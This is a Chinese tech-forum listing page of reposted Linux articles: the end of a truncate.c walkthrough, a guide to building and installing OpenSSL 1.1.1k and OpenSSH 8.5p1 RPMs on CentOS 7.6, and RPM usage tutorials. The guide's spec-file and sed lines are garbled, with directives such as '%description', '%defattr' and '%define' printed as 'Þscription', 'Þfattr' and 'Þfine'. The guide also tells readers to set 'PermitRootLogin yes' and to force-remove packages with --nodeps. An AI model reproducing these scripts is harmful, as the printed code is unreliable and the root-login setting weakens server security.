}释放一次间接块和二次间接块。12free_ind(inode->i_dev,inode->i_zone[7]);free_dind(inode->i_dev,inode->i_zone[8]);将一次间接块和二次间接块的地址置为0。将inode的size置为0, 将该inode设置为含有脏数据, 最后将inode的修改时候和创建时间都修改为当前时间。1234inode->i_zone[7] = inode->i_zone[8] = 0;inode->i_size = 0;inode->i_dirt = 1;inode->i_mtime = inode->i_ctime = CURRENT_TIME;到此这篇关于Linux中文件系统truncate.c详解的文章就介绍到这了转载自https://www.jb51.net/article/278871.htm
  • [技术干货] CentOS/RHEL 7.6升级OpenSSH(不升级OpenSSL)
    如果只需升级OpenSSH的话可以看我的另一篇文章CentOS/RHEL 7.6升级OpenSSH(不升级OpenSSL)这里升级OpenSSL是为了解决SSL/TLS协议信息泄露漏洞(CVE-2016-2183)本文构建完成的所有RPM包:OpenSSL 1.1.1k和OpenSSH 8.5p1安装依赖yum install -y wget rpm-build zlib-devel openssl-devel gcc perl-devel pam-devel unzip libXt-devel imake gtk2-devel openssl-libs脚本构建OpenSSL 1.1.1k RPM包在写本文时最新的版本是OpenSSL 1.1.1k,如果各位读者在看本文时有更新的版本可以直接将下面脚本中的1.1.1k替换为新的版本号#!/bin/bash set -e set -v mkdir ~/openssl && cd ~/openssl yum -y install \ curl \ which \ make \ gcc \ perl \ perl-WWW-Curl \ rpm-build yum -y remove openssl # Get openssl tarball curl -O --silent https://www.openssl.org/source/openssl-1.1.1k.tar.gz # SPEC file cat << 'EOF' > ~/openssl/openssl.spec Summary: OpenSSL 1.1.1k for Centos Name: openssl Version: %{?version}%{!?version:1.1.1k} Release: 1%{?dist} Obsoletes: %{name} <= %{version} Provides: %{name} = %{version} URL: https://www.openssl.org/ License: GPLv2+ Source: https://www.openssl.org/source/%{name}-%{version}.tar.gz BuildRequires: make gcc perl perl-WWW-Curl BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root # openssldir 可以自行更改 %global openssldir /usr/local/openssl Þscription https://github.com/philyuchkoff/openssl-RPM-Builder OpenSSL RPM for version 1.1.1k on Centos %package devel Summary: Development files for programs which will use the openssl library Group: Development/Libraries Requires: %{name} = %{version}-%{release} Þscription devel OpenSSL RPM for version 1.1.1k on Centos (development package) %prep %setup -q %build ./config --prefix=%{openssldir} --openssldir=%{openssldir} make %install [ "%{buildroot}" != "/" ] && %{__rm} -rf %{buildroot} %make_install mkdir -p %{buildroot}%{_bindir} mkdir -p %{buildroot}%{_libdir} ln -sf %{openssldir}/lib/libssl.so.1.1 %{buildroot}%{_libdir} ln -sf %{openssldir}/lib/libcrypto.so.1.1 %{buildroot}%{_libdir} ln -sf %{openssldir}/bin/openssl %{buildroot}%{_bindir} %clean [ "%{buildroot}" != "/" ] && %{__rm} -rf %{buildroot} %files %{openssldir} Þfattr(-,root,root) /usr/bin/openssl /usr/lib64/libcrypto.so.1.1 /usr/lib64/libssl.so.1.1 %files devel %{openssldir}/include/* Þfattr(-,root,root) %post -p /sbin/ldconfig %postun -p /sbin/ldconfig EOF mkdir -p /root/rpmbuild/{BUILD,RPMS,SOURCES,SPECS,SRPMS} cp ~/openssl/openssl.spec /root/rpmbuild/SPECS/openssl.spec mv openssl-1.1.1k.tar.gz /root/rpmbuild/SOURCES cd /root/rpmbuild/SPECS && \ rpmbuild \ -D "version 1.1.1k" \ -ba openssl.spec # For install: rpm -ivvh /root/rpmbuild/RPMS/x86_64/openssl-1.1.1k-1.el7.x86_64.rpm --nodeps # Verify install: rpm -qa openssl # openssl version构建完成后界面打印以下内容:检查未打包文件:/usr/lib/rpm/check-files /root/rpmbuild/BUILDROOT/openssl-1.1.1k-1.el7.x86_64 写道:/root/rpmbuild/SRPMS/openssl-1.1.1k-1.el7.src.rpm 写道:/root/rpmbuild/RPMS/x86_64/openssl-1.1.1k-1.el7.x86_64.rpm 写道:/root/rpmbuild/RPMS/x86_64/openssl-devel-1.1.1k-1.el7.x86_64.rpm 写道:/root/rpmbuild/RPMS/x86_64/openssl-debuginfo-1.1.1k-1.el7.x86_64.rpm 执行(%clean): /bin/sh -e /var/tmp/rpm-tmp.CdyqOD + umask 022 + cd /root/rpmbuild/BUILD + cd openssl-1.1.1k + '[' /root/rpmbuild/BUILDROOT/openssl-1.1.1k-1.el7.x86_64 '!=' / ']' + /usr/bin/rm -rf /root/rpmbuild/BUILDROOT/openssl-1.1.1k-1.el7.x86_64 + exit 0 # For install: rpm -ivvh /root/rpmbuild/RPMS/x86_64/openssl-1.1.1k-1.el7.x86_64.rpm --nodeps # Verify install: rpm -qa openssl # openssl version 升级OpenSSL1.卸载旧版注意openssl-libs不能卸载rpm -e `rpm -qa | grep openssl | grep -v libs` --nodeps 2.安装新版# 1.确定要安装的包 cd /root/rpmbuild/RPMS/x86_64/ cp openssl* ~/openssl cd ~/openssl rm -rf openssl-debuginfo-1.1.1k-1.el7.x86_64.rpm # 2.开始安装 [root@localhost openssl]# rpm -Uvh *.rpm --nodeps 准备中... ################################# [100%] 正在升级/安装... 1:openssl-1.1.1k-1.el7 ################################# [ 50%] 2:openssl-devel-1.1.1k-1.el7 ################################# [100%] [root@localhost openssl]# openssl version OpenSSL 1.1.1k 25 Mar 20213.安装完成根据已经升级的OpenSSL制作OpenSSH包创建所需目录上面OpenSSL的脚本已经把目录建好了,如果没有的话:mkdir -p /root/rpmbuild/{SOURCES,SPECS} cd /root/rpmbuild/SOURCES下载源码包wget http://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-8.5p1.tar.gz wget https://src.fedoraproject.org/repo/pkgs/openssh/x11-ssh-askpass-1.2.4.1.tar.gz/8f2e41f3f7eaa8543a2440454637f3c3/x11-ssh-askpass-1.2.4.1.tar.gz tar -xvzf openssh-8.5p1.tar.gz tar -xvzf x11-ssh-askpass-1.2.4.1.tar.gz修改配置文件cp openssh-8.5p1/contrib/redhat/openssh.spec /root/rpmbuild/SPECS/ cd /root/rpmbuild/SPECS/ sed -i -e "s/Þfine no_x11_askpass 0/Þfine no_x11_askpass 1/g" openssh.spec sed -i -e "s/Þfine no_gnome_askpass 0/Þfine no_gnome_askpass 1/g" openssh.spec sed -i 's/BuildRequires: openssl-devel < 1.1/#&/' /root/rpmbuild/SPECS/openssh.spec vim openssh.spec 找到 %configure \的配置,加一行--with-ssl-dir配置,这里的目录就是上面OpenSSL安装的目录 %configure \ --sysconfdir=%{_sysconfdir}/ssh \ --libexecdir=%{_libexecdir}/openssh \ --datadir=%{_datadir}/openssh \ --with-default-path=/usr/local/bin:/bin:/usr/bin \ --with-superuser-path=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin \ --with-privsep-path=%{_var}/empty/sshd \ --with-ssl-dir=/usr/local/openssl \ --with-md5-passwords \ --mandir=%{_mandir} \ --with-mantype=man \ --disable-strip \ 开始构建rpmbuild -ba openssh.spec …… 检查未打包文件:/usr/lib/rpm/check-files /root/rpmbuild/BUILDROOT/openssh-8.5p1-1.el7.x86_64 写道:/root/rpmbuild/SRPMS/openssh-8.5p1-1.el7.src.rpm 写道:/root/rpmbuild/RPMS/x86_64/openssh-8.5p1-1.el7.x86_64.rpm 写道:/root/rpmbuild/RPMS/x86_64/openssh-clients-8.5p1-1.el7.x86_64.rpm 写道:/root/rpmbuild/RPMS/x86_64/openssh-server-8.5p1-1.el7.x86_64.rpm 写道:/root/rpmbuild/RPMS/x86_64/openssh-askpass-8.5p1-1.el7.x86_64.rpm 写道:/root/rpmbuild/RPMS/x86_64/openssh-askpass-gnome-8.5p1-1.el7.x86_64.rpm 写道:/root/rpmbuild/RPMS/x86_64/openssh-debuginfo-8.5p1-1.el7.x86_64.rpm 执行(%clean): /bin/sh -e /var/tmp/rpm-tmp.Yhrfbl + umask 022 + cd /root/rpmbuild/BUILD + cd openssh-8.5p1 + rm -rf /root/rpmbuild/BUILDROOT/openssh-8.5p1-1.el7.x86_64 + exit 0升级OpenSSH备份配置文件mkdir ~/sshbak && cd ~cp /etc/pam.d/sshd sshbak/cp /etc/ssh/sshd_config sshbak检查一下sshd_config里的PermitRootLogin yes,如果这一项被注释掉或者是no的话需要改成yes,否则无法登录开始升级1.停止sshd服务 service sshd stop2.将做好的三个包放到同一个目录,我是直接放到了/root/cd /root/rpmbuild/RPMS/x86_64 cp openssh-8.5p1-1.el7.x86_64.rpm ~/ cp openssh-server-8.5p1-1.el7.x86_64.rpm ~/ cp openssh-clients-8.5p1-1.el7.x86_64.rpm ~/3.卸载旧版本的OpenSSHrpm -erpm -qa | grep openssh--nodeps4.rpm安装新版本[root@localhost ~]# rpm -Uvh *.rpm 准备中... ################################# [100%] 正在升级/安装... 1:openssh-8.5p1-1.el7 ################################# [ 33%] 2:openssh-clients-8.5p1-1.el7 ################################# [ 67%] 3:openssh-server-8.5p1-1.el7 ################################# [100%]5.还原配置文件[root@localhost ~]# cp sshbak/sshd /etc/pam.d/sshd cp:是否覆盖"/etc/pam.d/sshd"? y [root@localhost ~]# cp sshbak/sshd_config /etc/ssh/sshd_config cp:是否覆盖"/etc/ssh/sshd_config"? y6.授权并启动# chmod这一步不执行的话可能无法启动sshd服务 [root@localhost ~]# chmod 600 /etc/ssh/* [root@localhost ~]# service sshd start Starting sshd (via systemctl): [ 确定 ] [root@localhost ~]# ssh -V OpenSSH_8.5p1, OpenSSL 1.1.1k 25 Mar 2021升级成功现在已经升级到了OpenSSH 8.5,如果不需要使用scp的话可以卸载掉openssh-clients,因为OpenSSH 命令注入漏洞(CVE-2020-15778)是由openssh-clients引起的rpm -e openssh-clients-8.5p1-1.el7.x86_64 --nodeps精简升级步骤1.卸载旧版OpenSSL rpm -e `rpm -qa | grep openssl | grep -v libs` --nodeps 2.安装新版OpenSSL rpm -Uvh openssl* --nodeps 3.备份ssh文件 mkdir sshbak cp /etc/pam.d/sshd sshbak/ cp /etc/ssh/sshd_config sshbak/ 4.停止ssh服务 service sshd stop service sshd status 5.卸载openssh rpm -e `rpm -qa | grep openssh` --nodeps 6.安装openssh rpm -Uvh openssh* --nodeps 7.还原备份的ssh文件并启动ssh服务 cp sshbak/sshd /etc/pam.d/sshd cp sshbak/sshd_config /etc/ssh/sshd_config chmod 600 /etc/ssh/* service sshd start原文链接:https://www.kingc.top/archives/centosrhel76-sheng-ji-openssl-he-openssh
  • [技术干货] Linux操作系统rpm包安装方式详细步骤
      安装包(Install pack),即软件安装包,是可自行解压缩文件的集合,其中包括软件安装的所有文件。运行这个安装包(可执行文件),可以将此软件的所有文件释放到硬盘上,完成修改注册表、修改系统设置、创建快捷方式等工作。安装包文件多为exe格式。以下是小编帮大家整理的Linux操作系统rpm包安装方式详细步骤,仅供参考,大家一起来看看吧。  在Windows下安装一个软件很轻松,只要双击.exe的文件,安装提示连续“下一步”即可,然而linux系统下安装一个软件似乎并不那么轻松了,因为我们不是在图形界面下。所以你要学会如何在linux下安装一个软件。  在前面的内容中多次提到的yum,这个yum是RedHat所特有的安装RPM程序包的工具,使用起来相当方便。因为使用RPM安装某一个程序包有可能会因为该程序包依赖另一个程序包而无法安装。而使用yum工具就可以连同依赖的程序包一起安装。当然CentOS同样可以使用yum工具,而且在CentOS中你可以免费使用yum,但Redhat中只有当你付费后才能使用yum,默认是无法使用yum的。在介绍yum之前先说一说RPM相关的东西。  RPM是”Redhat Package Manager”的缩写,根据名字也能猜到这是Redhat公司开发出来的。RPM 是以一种数据库记录的方式来将你所需要的套件安装到你的Linux 主机的一套管理程序。也就是说,你的linux系统中存在着一个关于RPM的数据库,它记录了安装的包以及包与包之间依赖相关性。RPM包是预先在 linux机器上编译好并打包好的文件,安装起来非常快捷。但是也有一些缺点,比如安装的环境必须与编译时的环境一致或者相当;包与包之间存在着相互依赖 的情况;卸载包时需要先把依赖的包卸载掉,如果依赖的包是系统所必须的,那就不能卸载这个包,否则会造成系统崩溃。  如果你的光驱中还有系统安装盘的话,你可以通过”mount /dev/cdrom /mnt”命令把光驱挂载到/mnt目录下,那么你会在/mnt/CentOS目录下看到很多.rpm的文件,这就是RPM包了。  每一个rpm包的名称都由”-“和”.”分成了若干部分。就拿 a2ps-4.13b-57.2.el5.i386.rpm 这个包来解释一下,a2ps 为包名;4.13b则为版本信息;57.2.el5为发布版本号;i386为运行平台。其中运行平台常见的有i386, i586, i686, x86_64 ,需要你注意的是cpu目前是分32位和64位的,i386,i586和i686都为32位平台,x86_64则代表为64位的平台。另外有些rpm包并 没有写具体的平台而是noarch,这代表这个rpm包没有硬件平台限制。例如 alacarte-0.10.0-1.fc6.noarch.rpm 。下面介绍一下rpm常用的命令。原文链接:https://www.oh100.com/kaoshi/caozuoxitong/554541.html
  • [技术干货] RPM包安装
    1、如何安装rpm软件包rmp软件包的安装可以使用程序rpm来完成。执行下面的命令rpm -i your-package.rpm其中your-package.rpm是你要安装的rpm包的文件名,一般置于当前目录下。安装过程中可能出现下面的警告或者提示:... conflict with ... 可能是要安装的包里有一些文件可能会覆盖现有的文件,缺省时这样的情况下是无法正确安装的可以用rpm --force -i 强制安装即可... is needed by ...... is not installed ... 此包需要的一些软件你没有安装可以用rpm --nodeps -i 来忽略此信息也就是说,rpm -i --force --nodeps 可以忽略所有依赖关系和文件问题,什么包都能安装上,但这种强制安装的软件包不能保证完全发挥功能2、如何安装.src.rpm软件包有些软件包是以.src.rpm结尾的,这类软件包是包含了源代码的rpm包,在安装时需要进行编译。这类软件包有两种安装方法,方法一:执行rpm -i your-package.src.rpmcd /usr/src/redhat/SPECSrpmbuild -bp your-package.specs 一个和你的软件包同名的specs文件cd /usr/src/redhat/BUILD/your-package/ 一个和你的软件包同名的目录./configure 这一步和编译普通的源码软件一样,可以加上参数makemake install方法二:执行rpm -i you-package.src.rpmcd /usr/src/redhat/SPECS 前两步和方法一相同rpmbuild -bb your-package.specs 一个和你的软件包同名的specs文件这时,在/usr/src/redhat/RPM/i386/ (根据具体包的不同,也可能是i686,noarch等等)目录下,有一个新的rpm包,这个是编译好的二进制文件,执行rpm -i new-package.rpm即可安装完成。3、如何卸载rpm软件包使用命令 rpm -e 包名,包名可以包含版本号等信息,但是不可以有后缀.rpm。比如,卸载软件包proftpd-1.2.8-1,可以使用下列格式:rpm -e proftpd-1.2.8-1 rpm -e proftpd-1.2.8 rpm -e proftpd- rpm -e proftpd不可以是下列格式:rpm -e proftpd-1.2.8-1.i386.rpm rpm -e proftpd-1.2.8-1.i386 rpm -e proftpd-1.2 rpm -e proftpd-1有时会出现一些错误或者警告:... is needed by ... 这说明这个软件被其他软件需要,不能随便卸载可以用rpm -e --nodeps强制卸载4、如何不安装但是获取rpm包中的文件使用工具rpm2cpio和cpiorpm2cpio xxx.rpm | cpio -vi rpm2cpio xxx.rpm | cpio -idmv rpm2cpio xxx.rpm | cpio --extract --make-directories参数i和extract相同,表示提取文件。v表示指示执行进程d和make-directory相同,表示根据包中文件原来的路径建立目录m表示保持文件的更新时间。5、如何查看与rpm包相关的文件和其他信息下面所有的例子都假设使用软件包mysql-3.23.54a-11我的系统中安装了那些rpm软件包rpm -qa 列出所有安装过的包如果要查找所有安装过的包含某个字符串sql的软件包rpm -qa |grep sql如何获得某个软件包的文件全名rpm -q mysql可以获得系统中安装的mysql软件包全名,从中可以获得当前软件包的版本等信息。这个例子中可以得到信息mysql-3.23.54a-11。一个rpm包中的文件安装到那里去了?rpm -ql 包名注意:这里的包名是不包括.rpm后缀的软件包的名称,也就是说只能用mysql或者mysql-3.23.54a-11而不是mysql-3.23.54a-11.rpm,如果只是想知道可执行程序放到那里去了,也可以用which,比如which mysql一个rpm包中包含那些文件一个没有安装过的软件包,使用:rpm -qlp ****.rpm一个已经安装过的软件包,还可以使用:rpm -ql ****.rpm如何获取关于一个软件包的版本,用途等相关信息?一个没有安装过的软件包,使用rpm -qip ****.rpm。一个已经安装过的软件包,还可以使用rpm -qi ****.rpm。某个程序是哪个软件包安装的,或者哪个软件包包含这个程序rpm -qf `which 程序名` 返回软件包的全名 rpm -qif `which 程序名` 返回软件包的有关信息 rpm -qlf `which 程序名` 返回软件包的文件列表注意,这里不是引号,而是`,就是键盘左上角的那个键,也可以使用rpm -qilf,同时输出软件包信息和文件列表。某个文件是哪个软件包安装的,或者哪个软件包包含这个文件注意,前一个问题中的方法,只适用与可执行的程序,而下面的方法,不仅可以用于可执行程序,也可以用于普通的任何文件,前提是知道这个文件名,首先获得这个程序的完整路径,可以用whereis或者which,然后使用rpm -qf例如:# whereis ftptop ftptop: /usr/bin/ftptop /usr/share/man/man1/ftptop.1.gz # rpm -qf /usr/bin/ftptop proftpd-1.2.8-1 # rpm -qf /usr/share/doc/proftpd-1.2.8/rfc/rfc0959.txt proftpd-1.2.8-1获得软件包相关的信息用rpm -q,q表示查询query,后面可以跟其他选项,比如i 表示info,获得软件包的信息; l 表示list,获得文件列表; a 表示all,在所有包中执行查询; f 表示file,根据文件进行相关的查询; p 表示package,根据软件包进行查询需要的查询条件可以使用grep产生,或者从""中的命令行产生原文链接:https://www.kancloud.cn/linux-tech/linux_learning/661736
  • [常见FAQ] 官方SDK的C++为什么在线下用判题器测试时,得分为0?
    这是什么问题导致的??????
总条数:1200 到第
上滑加载中